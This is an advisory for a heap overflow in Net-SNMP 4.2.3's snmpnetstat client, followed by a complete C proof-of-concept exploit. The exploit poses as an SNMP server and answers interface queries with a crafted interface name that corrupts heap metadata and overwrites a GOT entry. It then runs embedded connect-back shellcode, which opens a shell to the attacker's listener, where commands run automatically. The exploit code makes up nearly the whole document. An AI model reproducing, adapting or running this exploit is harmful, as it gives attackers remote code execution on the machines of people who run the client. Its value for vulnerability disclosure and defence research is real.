Net-SNMP 4.2.3 snmpnetstat Remote Heap Overflow Vulnerability



source: http://www.securityfocus.com/bid/3780/info


Net-SNMP is a package of software tools related to the Simple Network Management Protocol. One of the tools included is snmpnetstat, which can be used to retrieve and display a variety of information about a remote SNMP host.

A heap overflow vulnerability exists in the snmpnetstat client. A SNMP host may return malicious information when a list of interfaces is requested. Under some circumstances, this will result in a heap overflow in the SNMP client. Exploitation of this vulnerability can result in the execution of abritary code as the snmpnetstat client.

Earlier versions of Net-SNMP may also be vulnerable. 

/*
 * Proof of concept xploit for snmpnetstat  
 *
 *  This causes snmpnetstat to overwrite the GOT entry
 * of endprotoent with the address of a connect-back
 * shellcode. The shellcode has some size limitations.
 *
 *  USE THIS AT YOUR OWN RISK
 *
 *  Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com
 *  http://www.axiomasistemas.com
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <getopt.h>

/*
 * Constants
 */
#define ASN_SEQUENCE      0x10
#define ASN_CONSTRUCTOR   0x20
#define ASN_INTEGER       0x02
#define ASN_OCTET_STRING  0x04
#define ASN_CONTEXT       0x80
#define ASN_OBJECTID      0x06

#define SNMP_GETREQUEST     (ASN_CONSTRUCTOR | ASN_CONTEXT)
#define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
#define SNMP_GETRESPONSE    (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)

enum exploit_states 

    STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
    STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
};

/*
 * Globals (I know globals sucks, but...)
 */
static int state;
static int session_id;
static struct sockaddr_in client;
static unsigned short bindport = 3234;
static int use_bind_addr = 0;
static unsigned long bind_addr;

/*
 * 101 bytes connect-back shellcode 
        xorl %eax, %eax
        pushl %eax            # push IPPROTO_IP
        inc %eax
        pushl %eax            # push SOCK_STREAM
        inc %eax
        jmp skip
        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
skip:
        pushl %eax           # push AF_INET
        movl %esp, %ecx
        xorl %ebx, %ebx
        movb $0x1, %bl       # SYS_SOCKET
        movb $102, %al       # __NR_socketcall
        int $0x80
        movl %eax, %edx      # save fd in eax and edx
        movb $0x3, %bl       # SYS_CONNECT
        movl %eax, (%ebp)    # put fd as first argument
        pushl $0x0100007f    # fill struct sockaddr_in
        pushl $0x01010002
        movl %esp, 0x4(%ebp)
        movb $16, %al        # sizeof struct sockaddr_in
        movl %eax, 0x8(%ebp)
        movl %ebp, %ecx
        movb $102, %al       # __NR_socketcall
        int $0x80
        decb %bl # %ebx contains '2'
        movzbl %dl, %ecx
loop1:
        movb $6, %al         # __NR_close
        int $0x80
        xchgb %cl, %bl
        movb $63, %al        # __NR_dup2
        int $0x80
        xchgb %cl, %bl
        decb %bl
        jge loop1
        pushl $0x0068732f
        pushl $0x6e69622f
        movl %esp, %ebx
        xorl %edx, %edx
        pushl %edx
        pushl %ebx
        movl %esp, %ecx
        movb $0xb, %al       # __NR_execve
        int $0x80
 */
static u_char shellcode[] = {
        0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
        0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
        0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
        0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
        0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
        0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
        0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
        0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
        0xcd, 0x80
};

static void __attribute__ ((noreturn))
fatal (u_char *fmt, ...)
{
    va_list ap;

    va_start (ap, fmt);
    vfprintf (stderr, fmt, ap);
    va_end (ap);

    exit (EXIT_FAILURE);
}

/*
 * ASN.1 code
 */
static u_char *
asn_append_len (u_char *pkt, int len)
{
    if (len <= 0x7f)
    {
        /* short len */
        *pkt++ = (u_char) len;
        return (pkt);
    }

    if (len <= 0xff)
    {
        *pkt++ = 0x81;
        *pkt++ = (u_char) (len);
        return (pkt);
    }

    *pkt++ = 0x82;
    *pkt++ = (u_char) ((len & 0xff00) >> 8);
    *pkt++ = (u_char) (len & 0xff);

    return (pkt);
}

static u_char *
asn_append_sequence (u_char *pkt, int len)
{
    *pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
    pkt = asn_append_len (pkt, len);
    return (pkt);
}

static u_char *
asn_append_objectid (u_char *pkt, u_char *str, int nlen)
{
    int i = 0;
    
    *pkt++ = ASN_OBJECTID;
    pkt = asn_append_len (pkt, nlen);
    
    while (nlen--)
        *pkt++ = str[i++];

    return (pkt);
}

static u_char *
asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
{
    int i = 0;
    
    *pkt++ = ASN_OCTET_STRING;
    pkt = asn_append_len (pkt, nlen);
    
    while (nlen--)
        *pkt++ = str[i++];

    return (pkt);
}

static u_char *
asn_append_integer (u_char *pkt, unsigned long n, int nlen)
{
    if (nlen != 4 && nlen != 2 && nlen != 1)
        fatal ("error: bad nlen in asn_append_integer(): %i\n",
                nlen);

    *pkt++ = ASN_INTEGER;
    *pkt++ = (u_char) (nlen & 0xff);

    switch (nlen)
    {
    case 1:
        *pkt++ = (u_char) (n & 0xff);
        break;

    case 2:
        *pkt++ = (u_char) ((n & 0xff00) >> 8);
        *pkt++ = (u_char) (n & 0xff);
        break;
        
    case 4:
        *pkt++ = (u_char) ((n & 0xff000000) >> 24);
        *pkt++ = (u_char) ((n & 0xff0000) >> 16);
        *pkt++ = (u_char) ((n & 0xff00) >> 8);
        *pkt++ = (u_char) (n & 0xff);
        break;
    }

    return (pkt);
}

static u_char *
asn_get_octet_string (u_char *pkt, u_char *dst)
{
    int len, i = 0;

    if (*pkt++ != ASN_OCTET_STRING)
        fatal ("error: error while talking to client\n");

    len = *pkt++;

    while (len--)
        dst[i++] = *pkt++;

    return (pkt);
}

static u_char *
asn_get_objectid (u_char *pkt, u_char *dst)
{
    int len, i = 0;

    if (*pkt++ != ASN_OBJECTID)
        fatal ("error: error while talking to client\n");

    len = *pkt++;

    while (len--)
        dst[i++] = *pkt++;

    return (pkt);
}

static u_char *
asn_get_integer (u_char *pkt, int *pdst)
{
    int len, nbits, dst;
    
    if (*pkt++ != ASN_INTEGER)
        fatal ("error: error while talking to client\n");

    len = *pkt++;
    if (len != 1 && len != 2 && len != 4)
        fatal ("error: incorrent integer len received from client\n");
        
    switch (len)
    {
    case 4:
        nbits = 24; break;
    case 2:
        nbits = 8; break;
    case 1:
        nbits = 0; break;
    }

    dst = 0;
    while (len--)
    {
        dst |= ((*pkt++) << nbits);
        nbits -= 8;
    }

    *pdst = dst;

    return (pkt);
}

static unsigned long
get_source_addr (struct sockaddr_in *s_in)
{
    int sd, slen;
    struct sockaddr_in me;
    
    if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        fatal ("socket(): %s\n", strerror (errno));
    
    if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
        fatal ("connect(): %s\n", strerror (errno));

    slen = sizeof (me);
    if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
        fatal ("getsockname(): %s\n", strerror (errno));

    close (sd);
    
    return ((unsigned long) me.sin_addr.s_addr);
}

typedef struct
{
    unsigned long psize;
    unsigned long size; /* 0x1 -> PREV_INUSE */
    unsigned long fd;
    unsigned long bk;
} chunk_t;

#define PREV_INUSE 0x1

static u_char *
make_evil_str (int *plen)
{
    int len;
    static u_char buf[BUFSIZ];
    chunk_t *c;
    unsigned long *ip;    
    unsigned short *port;

    memset (buf, 0x90, BUFSIZ);

    c = (chunk_t *) (buf - 4);

    /* leave psize of first chunk unused */
    c->size = 0x16UL;
    c->fd = 0x807dbe8;
    c->bk = 0x8050df0 - 8;
    
    c++;
    c->size = 0UL; /* zero PREV_INUSE bit */

    len = 12 + 16 + 14 + sizeof (shellcode);
    memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));

    ip = (unsigned long *) (buf + 16 + 4 + 35);
    *ip = (use_bind_addr ? bind_addr : get_source_addr (&client));

    port = (unsigned short *) (buf + 16 + 4 + 42);
    *port = htons (bindport);

    *plen = len;
    return (buf);
}

/*
 * SNMP code
 */
static void
snmp_waiting_getnext2 (int sd, u_char *buf)
{
    u_char *ptr = buf;
    int version, foo;
    u_char comm[BUFSIZ], resp[BUFSIZ];
    u_char oids[11][BUFSIZ];
    int i, len, evil_str_len;
    u_char *evil_str = NULL;

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");

        ptr += 2;

        ptr = asn_get_integer (ptr, &version);
        if (version != 0)
                fatal ("error: client uses a version different from 0\n");

        memset (comm, 0, sizeof (comm));
        ptr = asn_get_octet_string (ptr, comm);

        if (*ptr++ != SNMP_GETNEXTREQUEST)
                fatal ("error: protocol error\n");

        ptr += 2; /* skip len */

        ptr = asn_get_integer (ptr, &session_id);

        ptr = asn_get_integer (ptr, &foo);
        ptr = asn_get_integer (ptr, &foo);

        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
                fatal ("error: protocol error\n");
        ptr += 2;

    for (i = 0; i < 11; i++)
    {
        if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
            fatal ("error: protocol error\n");
        ptr++;
        ptr = asn_get_objectid (ptr, oids[i]);
        ptr += 2;
    }

        memset (resp, 0, sizeof (resp));
        ptr = resp;
    
    evil_str = make_evil_str (&evil_str_len);

    /* calculate len of the response */
    len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
    len += (11 * 14) + 40 + evil_str_len + 2;

        ptr = asn_append_sequence (ptr, len);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_octet_string (ptr, comm, strlen (comm));
     
    *ptr++ = SNMP_GETRESPONSE;
    /* calculate len of the getresponse PDU */
    len -= (3 + (2 + strlen (comm)) + 4);
    ptr = asn_append_len (ptr, len);

        ptr = asn_append_integer (ptr, session_id, 4);
        ptr = asn_append_integer (ptr, 0, 1);
        ptr = asn_append_integer (ptr, 0, 1);

    /* calculate len of data */
    len -= (6 + 3 + 3 + 4);
        ptr = asn_append_sequence (ptr, len);

    for (i = 0; i < 11; i++)
    {
        len = 12;

        oids[i][9]++;

        switch (oids[i][8])
        {
        case 1: /* ifindex */
            len += 4;
            ptr = asn_append_sequence (ptr, len);
            ptr = asn_append_objectid (ptr, oids[i], 10);
            ptr = asn_append_integer (ptr, 2, 1);
            break;

        case 2: /* ifname */
            len += 3 + evil_str_len;
            ptr = asn_append_sequence (ptr, len);
            ptr = asn_append_objectid (ptr, oids[i], 10);
            ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
            break;

        case 4: /* ifmtu */
        case 8: /* ifoperstatus */
            len += 4;
            ptr = asn_append_sequence (ptr, len);
            ptr = asn_append_objectid (ptr, oids[i], 10);
            ptr = asn_append_integer (ptr, 2, 2);
            break;

        case 0xb:   /* INUCASTPKTS */
        case 0xc:   /* INNUCASTPKTS */
        case 0xe:   /* INERRORS */
        case 0x11:  /* OUTUCASTPKTS */
        case 0x12:  /* OUTNUCASTPKTS */
        case 0x14:  /* OUTERRORS */
            len += 4;
            ptr = asn_append_sequence (ptr, len);
            ptr = asn_append_objectid (ptr, oids[i], 10);
            *ptr++ = 0x41;
            *ptr++ = 2;
            *ptr++ = 1;
            *ptr++ = 1;
            break;
            
        case 0x15:  /* OUTQLEN */
            len += 3;
            ptr = asn_append_sequence (ptr, len);
            ptr = asn_append_objectid (ptr, oids[i], 10);
            *ptr++ = 0x42;
            *ptr++ = 1;
            *ptr++ = 0;
            break;
        }
    }

        len = (ptr - resp);
    
        if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
                perror ("sendto()"), exit (EXIT_FAILURE);

        state = STATE_WAITING_CONNECT;
}

static void
snmp_waiting_getnext1 (int sd, u_char *buf)
{
    u_char *ptr = buf;
    u_char len;
    int version, foo;
    u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
    u_char resp[BUFSIZ];

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");

    len = *ptr++;

    ptr = asn_get_integer (ptr, &version);
    if (version != 0)
        fatal ("error: client uses a version different from 0\n");

    memset (comm, 0, sizeof (comm));
    ptr = asn_get_octet_string (ptr, comm);
        
    if (*ptr++ != SNMP_GETNEXTREQUEST)
        fatal ("error: protocol error\n");

    ptr++; /* skip len */
    
    ptr = asn_get_integer (ptr, &session_id);

    ptr = asn_get_integer (ptr, &foo);
    ptr = asn_get_integer (ptr, &foo);

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;
    ptr = asn_get_objectid (ptr, oid1);
    if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
        fatal ("error: protocol error\n");
    ptr += 2;

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;
    ptr = asn_get_objectid (ptr, oid2);
    if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
        fatal ("error: protocol error\n");
    ptr += 2;

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;
    ptr = asn_get_objectid (ptr, oid3);
    if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
        fatal ("error: protocol error\n");

    memset (resp, 0, sizeof (resp));
    ptr = resp;

    ptr = asn_append_sequence (ptr, 0x54 + 9);
    ptr = asn_append_integer (ptr, 0, 1);
    ptr = asn_append_octet_string (ptr, comm, strlen (comm));
    *ptr++ = SNMP_GETRESPONSE;
    *ptr++ = 0x47 + 9;
    ptr = asn_append_integer (ptr, session_id, 4);
    ptr = asn_append_integer (ptr, 0, 1);
    ptr = asn_append_integer (ptr, 0, 1);
    
    ptr = asn_append_sequence (ptr, 0x39 + 9);
    
    ptr = asn_append_sequence (ptr, 0x11 + 1);
    ptr = asn_append_objectid (ptr, oid1, 0x0D);
    ptr = asn_append_integer (ptr, 1, 1);
    
    ptr = asn_append_sequence (ptr, 0x11 + 4);
    ptr = asn_append_objectid (ptr, oid2, 0x0D);
    ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
    
    ptr = asn_append_sequence (ptr, 0x11 + 4);
    ptr = asn_append_objectid (ptr, oid3, 0x0D);
    ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
    
    len = (ptr - resp);

    if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
        perror ("sendto()"), exit (EXIT_FAILURE);

    state = STATE_WAITING_GETNEXT2;
}

static void
snmp_listening (int sd, u_char *buf)
{
    u_char *ptr = buf;
    u_char len;
    int version, foo;
    u_char comm[BUFSIZ], oid[BUFSIZ];
    u_char resp[BUFSIZ];
    
    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");

    len = *ptr++;

    ptr = asn_get_integer (ptr, &version); 
    if (version != 0)
        fatal ("error: client uses a version different from 0\n");

    memset (comm, 0, sizeof (comm));
    ptr = asn_get_octet_string (ptr, comm);
        
    if (*ptr++ != SNMP_GETREQUEST)
        fatal ("error: protocol error\n");

    ptr++; /* skip len */

    ptr = asn_get_integer (ptr, &session_id);
    ptr = asn_get_integer (ptr, &foo);
    ptr = asn_get_integer (ptr, &foo);

    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;
    if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
        fatal ("error: protocol error\n");
    ptr++;

    ptr = asn_get_objectid (ptr, oid);
    if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
        fatal ("error: protocol error\n");
    
    memset (resp, 0, sizeof (resp));
    ptr = resp;

    ptr = asn_append_sequence (ptr, 42);
    ptr = asn_append_integer (ptr, 0, 1);
    ptr = asn_append_octet_string (ptr, comm, strlen (comm));
    *ptr++ = SNMP_GETRESPONSE;
    *ptr++ = 0x1D;
    ptr = asn_append_integer (ptr, session_id, 4);
    ptr = asn_append_integer (ptr, 0, 1);
    ptr = asn_append_integer (ptr, 0, 1);
    ptr = asn_append_sequence (ptr, 0x0F);
    ptr = asn_append_sequence (ptr, 0x0D);
    ptr = asn_append_objectid (ptr, oid, 8);
    ptr = asn_append_integer (ptr, 1, 1);
    
    len = (ptr - resp);

    if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
        perror ("sendto()"), exit (EXIT_FAILURE);

    state = STATE_WAITING_GETNEXT1;
}

static void
bindshell (int sd)
{
    struct pollfd fds[2];
    u_char *cmds = "pwd; id; uname -a\n";
    u_char buf[BUFSIZ];
    int n;
    
    write (sd, cmds, strlen (cmds));

    while (1)
    {
        memset (&fds, 0, sizeof (fds));

        fds[0].events = fds[1].events = POLLIN;
        fds[0].fd = sd;
        fds[1].fd = 0;

        if (poll (fds, 2, -1) < 0)
            fatal ("poll(): %s\n", strerror (errno));

        if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
            fatal ("connection closed\n");

        if (fds[0].revents & POLLIN)
        {
            n = read (fds[0].fd, buf, BUFSIZ);
            if (n < 1)
                fatal ("connection closed\n");
            write (1, buf, n);
        }
        
        if (fds[1].revents & POLLIN)
        {
            n = read (fds[1].fd, buf, BUFSIZ);
            write (sd, buf, n);
        }
    }
}

static void
snmp_waiting_connect (void)
{
    int sd, val, fsd, slen;
    struct sockaddr_in s_in;
    struct pollfd pfd;
    
    if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
        fatal ("socket(): %s\n", strerror (errno));

    memset (&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
    s_in.sin_port = htons (bindport);

    if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
        fatal ("bind(): %s\n", strerror (errno));

    listen (sd, 5);

    fprintf (stderr, "awaiting connection from client...\n");

    memset (&pfd, 0, sizeof (pfd));
    pfd.fd = sd;
    pfd.events = POLLIN;

    if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
        fatal ("poll(): %s\n", strerror (errno));

    if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
        fatal ("no connection from client in 20 seconds. aborting\n");

    memset (&s_in, 0, sizeof (s_in));
    slen = sizeof (s_in);
    fsd = accept (sd, &s_in, &slen);
    close (sd);

    if (fsd < 0)
        fatal ("accept(): %s\n", strerror (errno));

    fprintf (stderr, "received connection from %s:%i\n",
            inet_ntoa (s_in.sin_addr),
            htons (s_in.sin_port));

    bindshell (fsd);
}

static void
snmp_proccess (int sd, u_char *buf)
{
    switch (state)
    {
    case STATE_LISTENING:
        snmp_listening (sd, buf);
        break;

    case STATE_WAITING_GETNEXT1:
        snmp_waiting_getnext1 (sd, buf);
        break;

    case STATE_WAITING_GETNEXT2:
        snmp_waiting_getnext2 (sd, buf);
        break;
    }
}

static void __attribute__ ((noreturn))
usage (u_char *p)
{
    fprintf (stderr, "Usage: %s [options]\n", p);
    fprintf (stderr, "options:\n"
            "-p <port>\tsnmp port to listen on\n"
            "-P <port>\tconnect-back port\n"
            "-a <ip>\t\tbind socket to this address\n"
            "-h\t\tshow this\n\n");
    exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
    int sd, slen;
    struct sockaddr_in s_in;
    u_char buf[BUFSIZ];
    unsigned short snmp_port = 161;
    unsigned long snmp_ip = INADDR_ANY;
    char opt;
    
    fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n");

    while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
        switch (opt)
        {
        case 'p':
            snmp_port = atoi (optarg);
            break;

        case 'P':
            bindport = atoi (optarg);
            break;
        
        case 'a':
            if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
                fatal ("%s is not a valid ip address\n", optarg);
            bind_addr = snmp_ip;
            use_bind_addr = 1;
            break;
        
        case 'h': /* fallthrough */
        default:
            usage (argv[0]);
        }

    fprintf (stderr, "use -h to show usage\n");

    if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
        perror ("socket()"), exit (EXIT_FAILURE);

    memset (&s_in, 0, sizeof (s_in));
    s_in.sin_family = AF_INET;
    s_in.sin_port = htons (snmp_port);
    s_in.sin_addr.s_addr = snmp_ip;

    if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
        perror ("bind()"), exit (EXIT_FAILURE);

    state = STATE_LISTENING;

    fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);

    while (1)
    {
        memset (buf, 0, sizeof (buf));
        slen = sizeof (client);
        if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
            perror ("recvfrom()"), exit (EXIT_FAILURE);

        fprintf (stderr, "procesing snmp packet from %s:%i\n",
                inet_ntoa (client.sin_addr),
                htons (client.sin_port));

        snmp_proccess (sd, buf);

        if (state == STATE_QUITTING)
            break;

        if (state == STATE_WAITING_CONNECT)
        {
            snmp_waiting_connect ();
            break;
        }
    }

    close (sd);
    
    exit (EXIT_SUCCESS);
}